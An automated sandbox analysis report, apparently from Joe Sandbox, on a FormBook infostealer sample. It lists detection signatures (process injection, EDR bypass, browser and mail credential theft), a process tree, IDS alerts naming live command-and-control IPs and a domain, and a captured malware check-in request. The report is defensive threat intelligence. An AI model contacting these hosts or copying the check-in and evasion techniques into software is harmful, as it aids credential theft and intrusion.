Edit tour

Windows Analysis Report
5CTbduoXq4.exe

Overview

General Information

Sample name:	5CTbduoXq4.exe
Analysis ID:	1588262
MD5:	fa826a652802c95350b775394dc7a6b2
SHA1:	1ffd0826ea0268acb1c12f1f7a5dd83cdbb5820a
SHA256:	0256012dbf3daabd7c7231940b9c5b96395a771ecb345d4a843df3b524c76d16
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected FormBook

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

5CTbduoXq4.exe (PID: 5884 cmdline: "C:\Users\user\Desktop\5CTbduoXq4.exe" MD5: FA826A652802C95350B775394DC7A6B2)

5CTbduoXq4.exe (PID: 6672 cmdline: "C:\Users\user\Desktop\5CTbduoXq4.exe" MD5: FA826A652802C95350B775394DC7A6B2)

QgsPQaUVZZ.exe (PID: 2772 cmdline: "C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

tzutil.exe (PID: 7540 cmdline: "C:\Windows\SysWOW64\tzutil.exe" MD5: 31DE852CCF7CED517CC79596C76126B4)

QgsPQaUVZZ.exe (PID: 560 cmdline: "C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 5012 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: FA9F4FC5D7ECAB5A20BF7A9D1251C851)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.49197292849.0000000001490000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.49198655128.0000000000E90000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.49198539173.0000000000E40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.44647403397.0000000002400000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.44647224128.0000000001880000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: 5CTbduoXq4.exe PID: 5884	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.5CTbduoXq4.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.5CTbduoXq4.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Suricata Signatures

ET MALWARE FormBook CnC Checkin (GET) M5

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:20:36.171791+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49763	161.97.142.144	80	TCP
2025-01-10T23:21:01.109983+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49767	107.155.56.30	80	TCP
2025-01-10T23:21:16.058838+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49772	13.228.81.39	80	TCP
2025-01-10T23:21:37.914856+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49776	209.74.77.107	80	TCP
2025-01-10T23:21:52.708705+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49780	154.205.159.116	80	TCP
2025-01-10T23:22:06.159893+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49784	3.33.130.190	80	TCP
2025-01-10T23:22:20.711543+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49788	38.46.13.54	80	TCP
2025-01-10T23:22:34.955023+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49792	46.253.5.221	80	TCP
2025-01-10T23:22:48.948988+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49796	146.88.233.115	80	TCP
2025-01-10T23:24:46.541497+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49801	63.250.43.134	80	TCP
2025-01-10T23:25:39.797186+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49805	104.21.40.167	80	TCP
2025-01-10T23:25:53.470524+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49809	104.21.4.93	80	TCP
2025-01-10T23:26:09.139075+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49813	107.167.84.42	80	TCP
2025-01-10T23:26:17.689388+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49814	161.97.142.144	80	TCP
2025-01-10T23:26:31.958843+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49818	107.155.56.30	80	TCP
2025-01-10T23:26:46.277373+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49822	13.228.81.39	80	TCP
2025-01-10T23:27:07.950511+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49826	209.74.77.107	80	TCP
2025-01-10T23:27:22.336257+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49830	154.205.159.116	80	TCP
2025-01-10T23:27:35.586078+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49834	3.33.130.190	80	TCP
2025-01-10T23:27:49.716319+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49838	38.46.13.54	80	TCP
2025-01-10T23:28:04.322163+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49842	46.253.5.221	80	TCP
2025-01-10T23:28:23.115325+0100	2050745	1	Malware Command and Control Activity Detected	192.168.11.20	49846	146.88.233.115	80	TCP

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:20:36.171791+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49763	161.97.142.144	80	TCP
2025-01-10T23:21:01.109983+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49767	107.155.56.30	80	TCP
2025-01-10T23:21:16.058838+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49772	13.228.81.39	80	TCP
2025-01-10T23:21:37.914856+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49776	209.74.77.107	80	TCP
2025-01-10T23:21:52.708705+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49780	154.205.159.116	80	TCP
2025-01-10T23:22:06.159893+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49784	3.33.130.190	80	TCP
2025-01-10T23:22:20.711543+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49788	38.46.13.54	80	TCP
2025-01-10T23:22:34.955023+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49792	46.253.5.221	80	TCP
2025-01-10T23:22:48.948988+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49796	146.88.233.115	80	TCP
2025-01-10T23:24:46.541497+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49801	63.250.43.134	80	TCP
2025-01-10T23:25:39.797186+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49805	104.21.40.167	80	TCP
2025-01-10T23:25:53.470524+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49809	104.21.4.93	80	TCP
2025-01-10T23:26:09.139075+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49813	107.167.84.42	80	TCP
2025-01-10T23:26:17.689388+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49814	161.97.142.144	80	TCP
2025-01-10T23:26:31.958843+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49818	107.155.56.30	80	TCP
2025-01-10T23:26:46.277373+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49822	13.228.81.39	80	TCP
2025-01-10T23:27:07.950511+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49826	209.74.77.107	80	TCP
2025-01-10T23:27:22.336257+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49830	154.205.159.116	80	TCP
2025-01-10T23:27:35.586078+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49834	3.33.130.190	80	TCP
2025-01-10T23:27:49.716319+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49838	38.46.13.54	80	TCP
2025-01-10T23:28:04.322163+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49842	46.253.5.221	80	TCP
2025-01-10T23:28:23.115325+0100	2855465	1	A Network Trojan was detected	192.168.11.20	49846	146.88.233.115	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:19:24.291809+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49837	38.46.13.54	80	TCP
2025-01-10T23:19:24.291809+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49787	38.46.13.54	80	TCP
2025-01-10T23:20:52.529936+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49764	107.155.56.30	80	TCP
2025-01-10T23:20:55.406298+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49765	107.155.56.30	80	TCP
2025-01-10T23:20:58.257224+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49766	107.155.56.30	80	TCP
2025-01-10T23:21:07.447111+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49768	13.228.81.39	80	TCP
2025-01-10T23:21:10.322411+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49770	13.228.81.39	80	TCP
2025-01-10T23:21:13.187698+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49771	13.228.81.39	80	TCP
2025-01-10T23:21:29.795901+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49773	209.74.77.107	80	TCP
2025-01-10T23:21:32.498408+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49774	209.74.77.107	80	TCP
2025-01-10T23:21:35.218429+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49775	209.74.77.107	80	TCP
2025-01-10T23:21:44.058468+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49777	154.205.159.116	80	TCP
2025-01-10T23:21:46.954629+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49778	154.205.159.116	80	TCP
2025-01-10T23:21:49.861383+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49779	154.205.159.116	80	TCP
2025-01-10T23:21:59.564676+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49781	3.33.130.190	80	TCP
2025-01-10T23:22:00.848480+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49782	3.33.130.190	80	TCP
2025-01-10T23:22:04.412600+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49783	3.33.130.190	80	TCP
2025-01-10T23:22:12.229749+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49785	38.46.13.54	80	TCP
2025-01-10T23:22:15.065804+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49786	38.46.13.54	80	TCP
2025-01-10T23:22:26.557006+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49789	46.253.5.221	80	TCP
2025-01-10T23:22:29.350659+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49790	46.253.5.221	80	TCP
2025-01-10T23:22:32.159897+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49791	46.253.5.221	80	TCP
2025-01-10T23:22:40.910771+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49793	146.88.233.115	80	TCP
2025-01-10T23:22:43.422525+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49794	146.88.233.115	80	TCP
2025-01-10T23:22:46.237731+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49795	146.88.233.115	80	TCP
2025-01-10T23:24:38.406995+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49798	63.250.43.134	80	TCP
2025-01-10T23:24:43.103544+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49799	63.250.43.134	80	TCP
2025-01-10T23:24:43.843066+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49800	63.250.43.134	80	TCP
2025-01-10T23:24:54.182632+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49802	104.21.40.167	80	TCP
2025-01-10T23:24:56.838350+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49803	104.21.40.167	80	TCP
2025-01-10T23:24:59.493966+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49804	104.21.40.167	80	TCP
2025-01-10T23:25:45.487466+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49806	104.21.4.93	80	TCP
2025-01-10T23:25:48.131777+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49807	104.21.4.93	80	TCP
2025-01-10T23:25:50.791161+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49808	104.21.4.93	80	TCP
2025-01-10T23:25:59.055486+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49810	107.167.84.42	80	TCP
2025-01-10T23:26:01.752383+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49811	107.167.84.42	80	TCP
2025-01-10T23:26:06.450681+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49812	107.167.84.42	80	TCP
2025-01-10T23:26:23.357152+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49815	107.155.56.30	80	TCP
2025-01-10T23:26:26.216544+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49816	107.155.56.30	80	TCP
2025-01-10T23:26:29.090121+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49817	107.155.56.30	80	TCP
2025-01-10T23:26:37.651900+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49819	13.228.81.39	80	TCP
2025-01-10T23:26:40.526802+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49820	13.228.81.39	80	TCP
2025-01-10T23:26:43.419009+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49821	13.228.81.39	80	TCP
2025-01-10T23:26:59.834704+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49823	209.74.77.107	80	TCP
2025-01-10T23:27:02.550915+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49824	209.74.77.107	80	TCP
2025-01-10T23:27:05.268891+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49825	209.74.77.107	80	TCP
2025-01-10T23:27:13.719808+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49827	154.205.159.116	80	TCP
2025-01-10T23:27:16.602685+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49828	154.205.159.116	80	TCP
2025-01-10T23:27:19.478663+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49829	154.205.159.116	80	TCP
2025-01-10T23:27:28.992478+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49831	3.33.130.190	80	TCP
2025-01-10T23:27:31.191228+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49832	3.33.130.190	80	TCP
2025-01-10T23:27:32.938718+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49833	3.33.130.190	80	TCP
2025-01-10T23:27:41.215926+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49835	38.46.13.54	80	TCP
2025-01-10T23:27:44.072194+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49836	38.46.13.54	80	TCP
2025-01-10T23:27:55.399142+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49839	46.253.5.221	80	TCP
2025-01-10T23:27:58.194995+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49840	46.253.5.221	80	TCP
2025-01-10T23:28:01.536950+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49841	46.253.5.221	80	TCP
2025-01-10T23:28:15.056682+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49843	146.88.233.115	80	TCP
2025-01-10T23:28:17.574189+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49844	146.88.233.115	80	TCP
2025-01-10T23:28:20.382895+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49845	146.88.233.115	80	TCP
2025-01-10T23:28:28.603938+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49847	199.59.243.228	80	TCP
2025-01-10T23:28:31.256070+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49848	199.59.243.228	80	TCP
2025-01-10T23:28:33.911365+0100	2855464	1	A Network Trojan was detected	192.168.11.20	49849	199.59.243.228	80	TCP

HTTP traffic detected: POST /2gcl/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brHost: www.expancz.topOrigin: http://www.expancz.topConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 205Cache-Control: max-age=0Referer: http://www.expancz.top/2gcl/User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36Data Raw: 6b 52 38 58 62 42 32 50 3d 34 4b 4d 4d 57 76 4a 58 74 4e 49 44 78 33 4b 7a 73 6f 71 45 5a 64 74 68 31 76 42 58 57 71 48 55 58 54 75 39 45 2b 59 50 50 65 45 70 75 41 4a 49 7a 4c 76 73 47 62 62 2b 31 78 7a 78 51 56 63 38 74 4d 56 6b 55 38 62 61 34 49 6b 46 33 4d 44 63 31 74 4a 6f 41 75 7a 5a 36 67 45 4e 54 52 6f 69 65 6d 65 4f 4e 59 2f 70 63 54 67 49 52 66 58 72 69 4a 54 37 32 75 46 30 65 48 42 53 77 76 6d 78 4f 77 71 76 71 70 34 61 54 59 4b 79 6e 6f 4d 69 65 6e 66 42 47 36 4d 65 59 2b 63 50 34 70 6b 4c 54 42 4a 4f 52 78 57 4a 6d 4a 56 5a 36 5a 46 6c 67 72 76 6b 77 77 48 37 73 2b 68 63 63 32 4a 74 6e 51 3d 3d Data Ascii: kR8XbB2P=4KMMWvJXtNIDx3KzsoqEZdth1vBXWqHUXTu9E+YPPeEpuAJIzLvsGbb+1xzxQVc8tMVkU8ba4IkF3MDc1tJoAuzZ6gENTRoiemeONY/pcTgIRfXriJT72uF0eHBSwvmxOwqvqp4aTYKynoMienfBG6MeY+cP4pkLTBJORxWJmJVZ6ZFlgrvkwwH7s+hcc2JtnQ==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 22:20:36 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 22:21:29 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 22:21:32 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta 